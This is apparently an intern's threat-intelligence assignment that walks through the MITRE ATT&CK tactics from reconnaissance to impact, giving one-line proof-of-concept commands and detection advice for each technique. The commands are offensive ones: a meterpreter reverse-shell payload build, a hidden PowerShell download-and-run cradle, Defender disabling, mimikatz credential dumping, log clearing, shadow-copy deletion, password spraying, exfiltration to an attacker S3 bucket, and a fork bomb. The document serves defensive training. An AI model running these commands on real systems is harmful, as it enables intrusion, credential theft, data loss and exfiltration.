Threat Intelligence Tasks

Name: Khushi Suvarna
Intern ID: 121

Tactic 1: Reconnaissance

Active Scanning (T1595)

Goal: Find live hosts/services and exposed endpoints.

Lab Setup:

Attacker: Kali Linux. Target: org domain/IP range. Tools: nmap, httpx, whatweb.

Procedure:

1. Run wide host discovery on CIDR
2. Enumerate web tech stack
3. Probe for interesting paths/endpoints

PoC (Commands/Actions):

nmap -sn 203.0.113.0/24
nmap -sV -p 1-1000 203.0.113.10
httpx -l hosts.txt -title -status-code -tech-detect
whatweb https://portal.example.com/

Expected Result:

List of alive hosts, open ports, and web stack fingerprints.

Detection & Recommendations:

Baseline approved scans; alert on external scanning volume, repeated connection attempts from same ASN/IP.

MITRE ATT&CK Mapping:

Tactic: Reconnaissance | Technique: Active Scanning | ID: T1595

Gather Victim Network Information (T1590)

Goal: Collect DNS, ASN, IP ranges to scope attack.

Lab Setup:

Tools: whois, amass, dig.

Procedure:

1. Resolve root/apex domain records
2. Enumerate subdomains
3. Map ASN/IP allocations

PoC (Commands/Actions):

whois example.com
dig ANY example.com +short
amass enum -d example.com -o subs.txt

Expected Result:

DNS records, subdomain list, and network ranges mapped.

Detection & Recommendations:

Monitor passive DNS and CT logs; enforce minimal DNS/WHOIS exposure and privacy where possible.

MITRE ATT&CK Mapping:

Tactic: Reconnaissance | Technique: Gather Victim Network Information | ID: T1590

Gather Victim Identity Information (T1592)

Goal: Identify employees, roles, emails for social engineering.

Lab Setup:

Tools: LinkedIn, theHarvester.

Procedure:

1. Harvest public emails
2. Build role-based target list

PoC (Commands/Actions):

theHarvester -d example.com -b linkedin -f harvest.html

Expected Result:

Curated list of potential phishing targets.

Detection & Recommendations:

Educate staff; detect bulk lookups/brand impersonation; DMARC/SPF/DKIM.

MITRE ATT&CK Mapping:

Tactic: Reconnaissance | Technique: Gather Victim Identity Information | ID: T1592

Tactic 2: Resource Development

Acquire Infrastructure (T1583)

Goal: Obtain attacker-owned domains/servers for staging.

Lab Setup:

Tools: VPS provider, DNS registrar.

Procedure:

1. Register lookalike domain
2. Deploy HTTPS with valid cert
3. Host staging files

PoC (Commands/Actions):

```
# pseudo
# buy: examp1e-support[.]com
# deploy nginx; obtain TLS (LetsEncrypt)
curl -O https://examp1e-support.com/update.exe
```

Expected Result:

Operational C2/staging infra ready.

Detection & Recommendations:

Brand monitoring for lookalike domains; certificate transparency alerts.

MITRE ATT&CK Mapping:

Tactic: Resource Development | Technique: Acquire Infrastructure | ID: T1583

Establish Accounts (T1585)

Goal: Create accounts on SaaS for delivery and C2.

Lab Setup:

Services: GitHub, Pastebin, cloud storage.

Procedure:

1. Create benign-looking profiles
2. Stage payloads over HTTPS links

PoC (Commands/Actions):

```
# Example staged download
curl -L https://pastebin.com/raw/ABC123 -o ps.ps1
```

Expected Result:

Legitimate platforms abused to host payloads.

Detection & Recommendations:

CASB and egress allowlists; reputation checks for unusual new accounts.

MITRE ATT&CK Mapping:

Tactic: Resource Development | Technique: Establish Accounts | ID: T1585

Develop Capabilities (T1587)

Goal: Prepare malware/scripts and packers.

Lab Setup:

Tools: msfvenom, golang, upx.

Procedure:

1. Build payload
2. Pack/obfuscate

PoC (Commands/Actions):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o agent.exe
upx -9 agent.exe

Expected Result:

Ready-to-deliver artifacts.

Detection & Recommendations:

Detect packed binaries; block known packer signatures where feasible.

MITRE ATT&CK Mapping:

Tactic: Resource Development | Technique: Develop Capabilities | ID: T1587

Tactic 3: Initial Access

Phishing: Spearphishing Attachment (T1566.001)

Goal: Deliver weaponized document to user.

Lab Setup:

Tools: GoPhish, Office macro.

Procedure:

1. Craft lure and doc
2. Send targeted campaign

PoC (Commands/Actions):

```
# Macro downloads PowerShell
powershell -nop -w hidden -c "IEX(New-Object
Net.WebClient).DownloadString('http://stage/ps.ps1')"
```

Expected Result:

User opens doc, macro spawns PowerShell.

Detection & Recommendations:

Block unsigned macros; sandbox attachments; secure email gateways.

MITRE ATT&CK Mapping:

Tactic: Initial Access | Technique: Phishing: Spearphishing Attachment | ID: T1566.001

Exploit Public-Facing Application (T1190)

Goal: Exploit web app bug for foothold.

Lab Setup:

Tools: Burp, exploit PoC.

Procedure:

1. Identify vulnerable endpoint
2. Trigger RCE/SQLi

PoC (Commands/Actions):

```
# Example (conceptual)
curl -X POST https://app.example.com/upload -F "file=@shell.php"
```

Expected Result:

Web shell obtained.

Detection & Recommendations:

WAF rules; virtual patching; timely CVE patch mgmt.

MITRE ATT&CK Mapping:

Tactic: Initial Access | Technique: Exploit Public-Facing Application | ID: T1190

External Remote Services (T1133)

Goal: Use exposed RDP/VPN with creds.

Lab Setup:

Tools: xfreerdp, openvpn.

Procedure:

1. Test leaked creds
2. Login to remote service

PoC (Commands/Actions):

xfreerdp /u:alice /p:'P@ssw0rd!' /v:203.0.113.25

Expected Result:

Interactive access established.

Detection & Recommendations:

MFA on all external access; detect impossible travel.

MITRE ATT&CK Mapping:

Tactic: Initial Access | Technique: External Remote Services | ID: T1133

Tactic 4: Execution

Command and Scripting Interpreter (T1059)

Goal: Run attacker-controlled commands/scripts.

Lab Setup:

Target: Windows host.

Procedure:

1. Stage script
2. Execute with policy bypass

PoC (Commands/Actions):

powershell.exe -NoP -Ep Bypass -File .\payload.ps1

Expected Result:

Script runs under user context.

Detection & Recommendations:

Alert on EpBypass, suspicious child processes.

MITRE ATT&CK Mapping:

Tactic: Execution | Technique: Command and Scripting Interpreter | ID: T1059

User Execution: Malicious File (T1204.002)

Goal: Trick user to run malicious file.

Lab Setup:

Malicious Office or LNK.

Procedure:

1. Deliver file
2. User double-clicks / enables content

PoC (Commands/Actions):

```
start invoice.lnk
# or macro-enabled .docm
```

Expected Result:

Payload executed via user action.

Detection & Recommendations:

Block LNK from email; mark-of-the-web enforcement.

MITRE ATT&CK Mapping:

Tactic: Execution | Technique: User Execution: Malicious File | ID: T1204.002

Windows Management Instrumentation (T1047)

Goal: Execute remotely via WMI.

Lab Setup:

Tools: wmic, PowerShell.

Procedure:

1. Invoke remote process

PoC (Commands/Actions):

```
wmic /node:HOST process call create "cmd.exe /c calc.exe"
```

Expected Result:

Remote process spawns.

Detection & Recommendations:

Restrict WMI/DCOM; log remote process creation.

MITRE ATT&CK Mapping:

Tactic: Execution | Technique: Windows Management Instrumentation | ID: T1047

Tactic 5: Persistence

Scheduled Task/Job: Windows Task (T1053.005)

Goal: Maintain foothold via scheduled task.

Lab Setup:

Windows Task Scheduler.

Procedure:

1. Create daily task
2. Hide with benign name

PoC (Commands/Actions):

schtasks /create /sc daily /tn Updater /tr "powershell -File C:\ProgramData\u.ps1"

Expected Result:

Task runs payload on schedule.

Detection & Recommendations:

Audit new tasks; block non-admin task creation.

MITRE ATT&CK Mapping:

Tactic: Persistence | Technique: Scheduled Task/Job: Windows Task | ID: T1053.005

Boot or Logon Autostart: Registry Run Keys (T1547.001)

Goal: Launch malware at user logon.

Lab Setup:

Registry autorun key.

Procedure:

1. Write Run key

PoC (Commands/Actions):

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "powershell -w hidden -File C:\u.ps1" /f

Expected Result:

Payload starts at logon.

Detection & Recommendations:

Monitor autorun keys, baseline diffs.

MITRE ATT&CK Mapping:

Tactic: Persistence | Technique: Boot or Logon Autostart: Registry Run Keys | ID: T1547.001

Create Account (T1136)

Goal: Add local user for persistence.

Lab Setup:

Windows/Linux.

Procedure:

1. Create user
2. Add to group

PoC (Commands/Actions):

net user helpdesk P@ssw0rd! /add
net localgroup administrators helpdesk /add

Expected Result:

New account present, privileged.

Detection & Recommendations:

Alert on new admin creation; JIT/JEA controls.

MITRE ATT&CK Mapping:

Tactic: Persistence | Technique: Create Account | ID: T1136

Tactic 6: Privilege Escalation

Exploitation for Privilege Escalation (T1068)

Goal: Exploit vuln to elevate privileges.

Lab Setup:

Windows kernel / local exploit.

Procedure:

1. Run local exploit

PoC (Commands/Actions):

.\printnightmare.exe --local

Expected Result:

Process/token becomes SYSTEM.

Detection & Recommendations:

Patch mgmt; block exploit patterns via EDR.

MITRE ATT&CK Mapping:

Tactic: Privilege Escalation | Technique: Exploitation for Privilege Escalation | ID: T1068

Bypass User Account Control (T1548.002)

Goal: Run elevated without prompt.

Lab Setup:

UAC bypass.

Procedure:

1. Abuse auto-elevate COM

PoC (Commands/Actions):

example (conceptual) fodhelper.exe registry hijack

Expected Result:

Elevated child process.

Detection & Recommendations:

Alert on LOLBIN misuse; UAC set to highest.

MITRE ATT&CK Mapping:

Tactic: Privilege Escalation | Technique: Bypass User Account Control | ID: T1548.002

Access Token Manipulation (T1134)

Goal: Impersonate tokens to escalate.

Lab Setup:

Tools: incognito, Rubeus.

Procedure:

1. Steal token
2. Impersonate admin

PoC (Commands/Actions):

mimikatz.exe "token::elevate" "token::whoami"

Expected Result:

Admin context achieved.

Detection & Recommendations:

Detect anomalous token use; restrict SeImpersonatePrivilege.

MITRE ATT&CK Mapping:

Tactic: Privilege Escalation | Technique: Access Token Manipulation | ID: T1134

Tactic 7: Defense Evasion

Impair Defenses (T1562)

Goal: Disable security tools.

Lab Setup:

Windows Defender.

Procedure:

1. Tamper with AV

PoC (Commands/Actions):

powershell Set-MpPreference -DisableRealtimeMonitoring $true

Expected Result:

AV disabled.

Detection & Recommendations:

Tamper protection; alert on policy changes.

MITRE ATT&CK Mapping:

Tactic: Defense Evasion | Technique: Impair Defenses | ID: T1562

Obfuscated/Compressed Files & Information (T1027)

Goal: Hide payload via packing/encoding.

Lab Setup:

Base64, UPX.

Procedure:

1. Encode/pack payload

PoC (Commands/Actions):

certutil -encode payload.exe payload.b64
upx -9 agent.exe

Expected Result:

Lower static detection.

Detection & Recommendations:

Detect encoded blobs leaving endpoints, packed PE headers.

MITRE ATT&CK Mapping:

Tactic: Defense Evasion | Technique: Obfuscated/Compressed Files & Information | ID: T1027

Clear Windows Event Logs (T1070.001)

Goal: Cover tracks by clearing logs.

Lab Setup:

wevtutil.

Procedure:

1. Purge event logs

PoC (Commands/Actions):

wevtutil cl Security
wevtutil cl PowerShell

Expected Result:

Audit trail removed.

Detection & Recommendations:

Forward logs off-host; alert on log clear events.

MITRE ATT&CK Mapping:

Tactic: Defense Evasion | Technique: Clear Windows Event Logs | ID: T1070.001

Tactic 8: Credential Access

OS Credential Dumping (T1003)

Goal: Extract creds from LSASS/registry.

Lab Setup:

Mimikatz, nanodump.

Procedure:

1. Dump creds

PoC (Commands/Actions):

mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

Expected Result:

Hashes/passwords recovered.

Detection & Recommendations:

LSA protection; block minidumps; monitor handle opens to LSASS.

MITRE ATT&CK Mapping:

Tactic: Credential Access | Technique: OS Credential Dumping | ID: T1003

Credentials from Password Stores (T1555)

Goal: Steal browser/manager creds.

Lab Setup:

LaZagne, DPAPI.

Procedure:

1. Dump Chrome creds

PoC (Commands/Actions):

laZagne.exe browsers

Expected Result:

Saved site creds obtained.

Detection & Recommendations:

Disable password saving; EDR on credential dumping tools.

MITRE ATT&CK Mapping:

Tactic: Credential Access | Technique: Credentials from Password Stores | ID: T1555

Brute Force (T1110)

Goal: Guess passwords at scale.

Lab Setup:

Hydra, Kerbrute.

Procedure:

1. Enumerate users
2. Spray passwords

PoC (Commands/Actions):

kerbrute userenum -d corp.local users.txt
kerbrute passwordspray -d corp.local users.txt 'Winter2025!'

Expected Result:

Some accounts compromised.

Detection & Recommendations:

Throttle auth; lockout and MFA; detect password spraying patterns.

MITRE ATT&CK Mapping:

Tactic: Credential Access | Technique: Brute Force | ID: T1110

Tactic 9: Discovery

Account Discovery (T1087)

Goal: List users/groups for target selection.

Lab Setup:

Windows AD/Unix.

Procedure:

1. Query directory

PoC (Commands/Actions):

net user /domain
Get-ADUser -Filter * | select SamAccountName

Expected Result:

Inventory of identities.

Detection & Recommendations:

Alert on mass directory reads; least-privileged queries.

MITRE ATT&CK Mapping:

Tactic: Discovery | Technique: Account Discovery | ID: T1087

Network Service Scanning (T1046)

Goal: Identify services for pivoting.

Lab Setup:

nmap, rustscan.

Procedure:

1. Scan internal subnets

PoC (Commands/Actions):

nmap -sT -p 445,3389,80 10.0.0.0/24

Expected Result:

Open services mapped.

Detection & Recommendations:

IDS for port scans; network segmentation.

MITRE ATT&CK Mapping:

Tactic: Discovery | Technique: Network Service Scanning | ID: T1046

Remote System Discovery (T1018)

Goal: Find reachable hosts.

Lab Setup:

arp, net view.

Procedure:

1. Enumerate neighbors

PoC (Commands/Actions):

arp -a
net view \10.0.0.5

Expected Result:

List of remote systems.

Detection & Recommendations:

Block LLMNR/NetBIOS abuse; restrict SMB enumeration.

MITRE ATT&CK Mapping:

Tactic: Discovery | Technique: Remote System Discovery | ID: T1018

Tactic 10: Lateral Movement

Remote Services: SMB/WMI/PSExec (T1021)

Goal: Move to other hosts using credentials.

Lab Setup:

Impacket, PsExec.

Procedure:

1. Copy and execute payload

PoC (Commands/Actions):

psexec \\HOST -u admin -p Pass123 cmd /c C:\agent.exe

Expected Result:

Payload runs on remote host.

Detection & Recommendations:

Alert on admin shares use; restrict RDP/SMB/WMI.

MITRE ATT&CK Mapping:

Tactic: Lateral Movement | Technique: Remote Services: SMB/WMI/PSExec | ID: T1021

Lateral Tool Transfer (T1570)

Goal: Transfer tools between hosts.

Lab Setup:

smbcopy, scp.

Procedure:

1. Stage toolkit on target

PoC (Commands/Actions):

copy agent.exe \\HOST\C$\Windows\Temp\
scp agent user@10.0.0.10:/tmp/

Expected Result:

Files placed on remote.

Detection & Recommendations:

DLP/EDR on unusual file movement; SMB auditing.

MITRE ATT&CK Mapping:

Tactic: Lateral Movement | Technique: Lateral Tool Transfer | ID: T1570

Pass the Ticket/Credential Reuse (T1550)

Goal: Reuse tokens/tickets to authenticate.

Lab Setup:

Rubeus, Mimikatz.

Procedure:

1. Extract and reuse TGT

PoC (Commands/Actions):

Rubeus dump
Rubeus asktgt /user:alice /rc4:HASH /ptt

Expected Result:

Access without password.

Detection & Recommendations:

Kerberos hardening; detect unconstrained delegation abuse.

MITRE ATT&CK Mapping:

Tactic: Lateral Movement | Technique: Pass the Ticket/Credential Reuse | ID: T1550

Tactic 11: Collection

Data from Local System (T1005)

Goal: Collect files of interest.

Lab Setup:

Windows/Linux.

Procedure:

1. Search and stage data

PoC (Commands/Actions):

dir C:\Users*\Documents*.xlsx /s /b > C:\Temp\list.txt
copy C:\path*.xlsx C:\Temp\loot\

Expected Result:

Target data staged locally.

Detection & Recommendations:

Watch bulk file reads; honeypot documents.

MITRE ATT&CK Mapping:

Tactic: Collection | Technique: Data from Local System | ID: T1005

Email Collection (T1114)

Goal: Steal mailboxes.

Lab Setup:

Outlook, Exchange, Graph.

Procedure:

1. Export mailbox

PoC (Commands/Actions):

outlook.exe /exportpst C:\Temp\user.pst

Expected Result:

Mailbox archive produced.

Detection & Recommendations:

Alert on mass exports; API rate anomalies.

MITRE ATT&CK Mapping:

Tactic: Collection | Technique: Email Collection | ID: T1114

Archive Collected Data (T1560)

Goal: Compress to ease exfiltration.

Lab Setup:

zip, 7z.

Procedure:

1. Create archives and stage

PoC (Commands/Actions):

7z a C:\Temp\data.7z C:\Temp\loot* -pP@ssw0rd

Expected Result:

Single encrypted archive ready.

Detection & Recommendations:

Detect unusual 7z/zip usage; block encrypted exfil when possible.

MITRE ATT&CK Mapping:

Tactic: Collection | Technique: Archive Collected Data | ID: T1560

Tactic 12: Command and Control

Application Layer Protocol: HTTPS (T1071.001)

Goal: Use HTTPS for C2 to blend in.

Lab Setup:

C2 over 443.

Procedure:

1. Configure beaconing intervals

PoC (Commands/Actions):

Cobalt/Metasploit HTTPS profiles (conceptual)

Expected Result:

Beacon traffic looks like web.

Detection & Recommendations:

TLS inspection where allowed; JA3/JA4 fingerprinting.

MITRE ATT&CK Mapping:

Tactic: Command and Control | Technique: Application Layer Protocol: HTTPS | ID: T1071.001

Proxy (T1090)

Goal: Relay traffic via redirectors.

Lab Setup:

socat, nginx.

Procedure:

1. Stand up redirector

PoC (Commands/Actions):

socat TCP-L:443,fork TCP:10.10.10.10:8443

Expected Result:

C2 hidden behind proxy.

Detection & Recommendations:

Egress pinning; detect unusual SNI/hostnames.

MITRE ATT&CK Mapping:

Tactic: Command and Control | Technique: Proxy | ID: T1090

Non-Standard Port (T1571)

Goal: C2 on uncommon port to evade rules.

Lab Setup:

Any high port.

Procedure:

1. Run service on 8443/8088

PoC (Commands/Actions):

nc -lvp 8443

Expected Result:

Traffic bypasses naive filters.

Detection & Recommendations:

Block-by-default egress; allowlist only.

MITRE ATT&CK Mapping:

Tactic: Command and Control | Technique: Non-Standard Port | ID: T1571

Tactic 13: Exfiltration

Exfiltration Over C2 Channel (T1041)

Goal: Send data via existing C2.

Lab Setup:

Meterpreter/custom HTTP POST.

Procedure:

1. Upload archive to C2

PoC (Commands/Actions):

meterpreter> upload C:\Temp\data.7z /var/www/html/u/

Expected Result:

Data leaves within C2 stream.

Detection & Recommendations:

DLP on egress; size/time-based anomaly detection.

MITRE ATT&CK Mapping:

Tactic: Exfiltration | Technique: Exfiltration Over C2 Channel | ID: T1041

Exfiltration Over Alternative Protocol (T1048)

Goal: Use DNS/ICMP/SMTP to smuggle data.

Lab Setup:

dnscat2, ping.

Procedure:

1. Encode and tunnel data

PoC (Commands/Actions):

dnscat2 --dns server.example.com
ping -p <hex> attacker

Expected Result:

Data tunneled via uncommon channels.

Detection & Recommendations:

Block DNS tunneling; analyze TXT query volumes.

MITRE ATT&CK Mapping:

Tactic: Exfiltration | Technique: Exfiltration Over Alternative Protocol | ID: T1048

Exfiltration to Cloud Storage (T1567.002)

Goal: Upload to attacker-controlled cloud.

Lab Setup:

AWS S3, GDrive.

Procedure:

1. Push to S3 bucket

PoC (Commands/Actions):

aws s3 cp C:\Temp\data.7z s3://attacker-bkt/data.7z --acl private

Expected Result:

Archive stored offsite.

Detection & Recommendations:

CASB controls; alert on unsanctioned cloud uploads.

MITRE ATT&CK Mapping:

Tactic: Exfiltration | Technique: Exfiltration to Cloud Storage | ID: T1567.002

Tactic 14: Impact

Data Encrypted for Impact (T1486)

Goal: Encrypt data (ransomware behavior).

Lab Setup:

Windows host.

Procedure:

1. Enumerate files
2. Encrypt with key

PoC (Commands/Actions):

pseudo encryptor invocation
ransom.exe --path C:\Users --ext .locked

Expected Result:

Files become inaccessible.

Detection & Recommendations:

Offline immutable backups; block mass file renames.

MITRE ATT&CK Mapping:

Tactic: Impact | Technique: Data Encrypted for Impact | ID: T1486

Inhibit System Recovery (T1490)

Goal: Prevent restore operations.

Lab Setup:

vssadmin, wbadmin.

Procedure:

1. Delete shadow copies

PoC (Commands/Actions):

vssadmin delete shadows /all /quiet

Expected Result:

Recovery points removed.

Detection & Recommendations:

Alert on VSS deletions; restrict tool use to admins.

MITRE ATT&CK Mapping:

Tactic: Impact | Technique: Inhibit System Recovery | ID: T1490

Endpoint DoS (T1499)

Goal: Exhaust system resources.

Lab Setup:

stress-ng, fork bombs.

Procedure:

1. Trigger resource exhaustion

PoC (Commands/Actions):

:(){ :|:& };: # (Unix fork bomb)

Expected Result:

System becomes unresponsive.

Detection & Recommendations:

EDR rules; rate-limiting; resource quotas.

MITRE ATT&CK Mapping:

Tactic: Impact | Technique: Endpoint DoS | ID: T1499